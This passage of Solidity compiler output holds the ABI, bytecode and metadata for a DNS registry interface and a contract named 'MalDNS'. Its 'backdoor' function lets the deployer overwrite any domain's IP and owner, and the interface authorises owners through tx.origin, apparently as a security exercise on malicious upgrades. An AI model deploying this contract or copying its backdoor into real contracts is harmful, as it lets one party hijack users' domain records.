"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"register(string,bytes4,address)\":{\"params\":{\"_domain\":\"New domain to be registered.\",\"_ip\":\"Ip the domain should point to.\",\"_owner\":\"Owner of the newly registered domain.\"}},\"resolve(string)\":{\"returns\":{\"_0\":\"The IP that _domain points to and the owner.\"}},\"transfer(string,address)\":{\"params\":{\"_domain\":\"Domain to be transferred.\",\"_owner\":\"New owner.\"}},\"update(string,bytes4)\":{\"params\":{\"_domain\":\"Domain to be updated.\",\"_ip\":\"New ip that the domain should point to.\"}}},\"title\":\"A simple DNS interface.\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"register(string,bytes4,address)\":{\"notice\":\"Registers a new domain. Domain must be currently unused.\"},\"transfer(string,address)\":{\"notice\":\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\"},\"update(string,bytes4)\":{\"notice\":\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/IDNS.sol\":\"IDNS\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]}},\"version\":1}","srcmap":"","srcmap-runtime":"","storage-layout":"{\"storage\":[],\"types\":null}"},"src/MalDNS.sol:MalDNS":{"abi":"[{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_info\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"backdoor\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"originalDNS\",\"outputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]","bin":"60e06040523480156200001157600080fd5b506040516200113438038062001134833981810160405281019062000037919062000148565b82600160006101000a81548163ffffffff021916908360e01c02179055508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250503373ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050505062000274565b600081519050620001148162000226565b92915050565b6000815190506200012b8162000240565b92915050565b60008151905062000142816200025a565b92915050565b6000806000606084860312156200015e57600080fd5b60006200016e8682870162000103565b935050602062000181868287016200011a565b9250506040620001948682870162000131565b9150509250925092565b6000620001ab8262000206565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000620001eb826200019e565b9050919050565b6000620001ff826200019e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6200023181620001b2565b81146200023d57600080fd5b50565b6200024b81620001de565b81146200025757600080fd5b50565b6200026581620001f2565b81146200027157600080fd5b50565b60805160601c60a05160601c60c05160601c610e8a620002aa6000398061042c5250806101615250806104085250610e8a6000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_info\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"backdoor\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"originalDNS\",\"outputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"register(string,bytes4,address)\":{\"params\":{\"_domain\":\"New domain to be registered.\",\"_ip\":\"Ip the domain should point to.\",\"_owner\":\"Owner of the newly registered domain.\"}},\"resolve(string)\":{\"returns\":{\"_0\":\"The IP that _domain points to and the owner.\"}},\"transfer(string,address)\":{\"params\":{\"_domain\":\"Domain to be transferred.\",\"_owner\":\"New owner.\"}},\"update(string,bytes4)\":{\"params\":{\"_domain\":\"Domain to be updated.\",\"_ip\":\"New ip that the domain should point to.\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"register(string,bytes4,address)\":{\"notice\":\"Registers a new domain. Domain must be currently unused.\"},\"transfer(string,address)\":{\"notice\":\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\"},\"update(string,bytes4)\":{\"notice\":\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/MalDNS.sol\":\"MalDNS\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/MalDNS.sol\":{\"keccak256\":\"0x3bea24f6589ebb2120be090924605d1512e2ea57e0de781ecadf2f2f3ed4eedf\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://74c5c49a3125c31fc621ae85a4a4848ae945740b22cf9f7d7d9750c3b9ef5031\",\"dweb:/ipfs/QmZydphzztNXCwiCgtffTeyjumkERWpSjuSTchFZbEn6Mv\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]}},\"version\":1}","srcmap":"141:1754:5:-:0;;;321:152;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;384:3;375:6;;:12;;;;;;;;;;;;;;;;;;410:4;391:24;;;;;;;;;;;;441:5;419:28;;;;;;;;;;;;459:10;451:18;;;;;;;;;;;;321:152;;;141:1754;;7:141:8;;94:6;88:13;79:22;;110:32;136:5;110:32;:::i;:::-;69:79;;;;:::o;154:169::-;;255:6;249:13;240:22;;271:46;311:5;271:46;:::i;:::-;230:93;;;;:::o;329:175::-;;433:6;427:13;418:22;;449:49;492:5;449:49;:::i;:::-;408:96;;;;:::o;510:646::-;;;;691:2;679:9;670:7;666:23;662:32;659:2;;;707:1;704;697:12;659:2;749:1;773:63;828:7;819:6;808:9;804:22;773:63;:::i;:::-;763:73;;721:125;884:2;909:77;978:7;969:6;958:9;954:22;909:77;:::i;:::-;899:87;;856:140;1034:2;1059:80;1131:7;1122:6;1111:9;1107:22;1059:80;:::i;:::-;1049:90;;1006:143;649:507;;;;;:::o;1162:96::-;;1228:24;1246:5;1228:24;:::i;:::-;1217:35;;1207:51;;;:::o;1264:149::-;;1340:66;1333:5;1329:78;1318:89;;1308:105;;;:::o;1419:109::-;;1498:24;1516:5;1498:24;:::i;:::-;1487:35;;1477:51;;;:::o;1534:112::-;;1616:24;1634:5;1616:24;:::i;:::-;1605:35;;1595:51;;;:::o;1652:126::-;;1729:42;1722:5;1718:54;1707:65;;1697:81;;;:::o;1784:120::-;1856:23;1873:5;1856:23;:::i;:::-;1849:5;1846:34;1836:2;;1894:1;1891;1884:12;1836:2;1826:78;:::o;1910:148::-;1996:37;2027:5;1996:37;:::i;:::-;1989:5;1986:48;1976:2;;2048:1;2045;2038:12;1976:2;1966:92;:::o;2064:154::-;2153:40;2187:5;2153:40;:::i;:::-;2146:5;2143:51;2133:2;;2208:1;2205;2198:12;2133:2;2123:95;:::o;141:1754:5:-;;;;;;;;;;;;;;;;;;;;;;","srcmap-runtime":"141:1754:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;238:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1750:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;674:347;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;202:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;476:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1024:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1290:457;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;238:36;;;:::o;1750:143::-;1822:6;1830:7;1851:4;1856:7;1851:13;;;;;;:::i;:::-;;;;;;;;;;;;;:16;;;;;;;;;;;;1869:4;1874:7;1869:13;;;;;;:::i;:::-;;;;;;;;;;;;;:19;;;;;;;;;;;;1843:46;;;;1750:143;;;:::o;674:347::-;780:1;773:8;;:3;:8;;;;;765:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;833:1;815:7;809:21;:25;801:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;859:19;881:4;886:7;881:13;;;;;;:::i;:::-;;;;;;;;;;;;;859:35;;918:1;906:13;;:5;:8;;;;;;;;;;;;:13;;;;:42;;;;;946:1;923:25;;:5;:11;;;;;;;;;;;;:25;;;906:42;898:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;990:3;979:5;:8;;;:14;;;;;;;;;;;;;;;;;;1011:6;997:5;:11;;;:20;;;;;;;;;;;;;;;;;;674:347;;;;:::o;202:33::-;;;:::o;476:195::-;580:5;566:19;;:10;:19;;;558:28;;;;;;590:19;612:4;617:7;612:13;;;;;;:::i;:::-;;;;;;;;;;;;;590:35;;640:3;629:5;:8;;;:14;;;;;;;;;;;;;;;;;;661:6;647:5;:11;;;:20;;;;;;;;;;;;;;;;;;476:195;;;;:::o;1024:263::-;1097:19;1119:4;1124:7;1119:13;;;;;;:::i;:::-;;;;;;;;;;;;;1097:35;;1164:9;1150:23;;:10;:23;;;:52;;;;;1192:10;1177:25;;:5;:11;;;;;;;;;;;;:25;;;1150:52;1137:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;1248:1;1241:8;;:3;:8;;;;;1233:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1280:3;1269:5;:8;;;:14;;;;;;;;;;;;;;;;;;1024:263;;;:::o;1290:457::-;1369:19;1391:4;1396:7;1391:13;;;;;;:::i;:::-;;;;;;;;;;;;;1369:35;;1603:9;1589:23;;:10;:23;;;:52;;;;;1631:10;1616:25;;:5;:11;;;;;;;;;;;;:25;;;1589:52;1576:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;1698:1;1680:20;;:6;:20;;;;1672:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;1737:6;1723:5;:11;;;:20;;;;;;;;;;;;;;;;;;1290:457;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;235:6;222:20;213:29;;251:32;277:5;251:32;:::i;:::-;203:86;;;;:::o;295:466::-;;400:3;393:4;385:6;381:17;377:27;367:2;;418:1;415;408:12;367:2;458:6;445:20;483:65;498:49;540:6;498:49;:::i;:::-;483:65;:::i;:::-;474:74;;571:6;564:5;557:21;610:4;602:6;598:17;646:4;639:5;635:16;684:3;675:6;670:3;666:16;663:25;660:2;;;701:1;698;691:12;660:2;714:41;748:6;743:3;738;714:41;:::i;:::-;357:404;;;;;;;:::o;767:373::-;;885:2;873:9;864:7;860:23;856:32;853:2;;;901:1;898;891:12;853:2;971:1;960:9;956:17;943:31;1001:18;993:6;990:30;987:2;;;1033:1;1030;1023:12;987:2;1060:63;1115:7;1106:6;1095:9;1091:22;1060:63;:::i;:::-;1050:73;;915:218;843:297;;;;:::o;1146:516::-;;;1281:2;1269:9;1260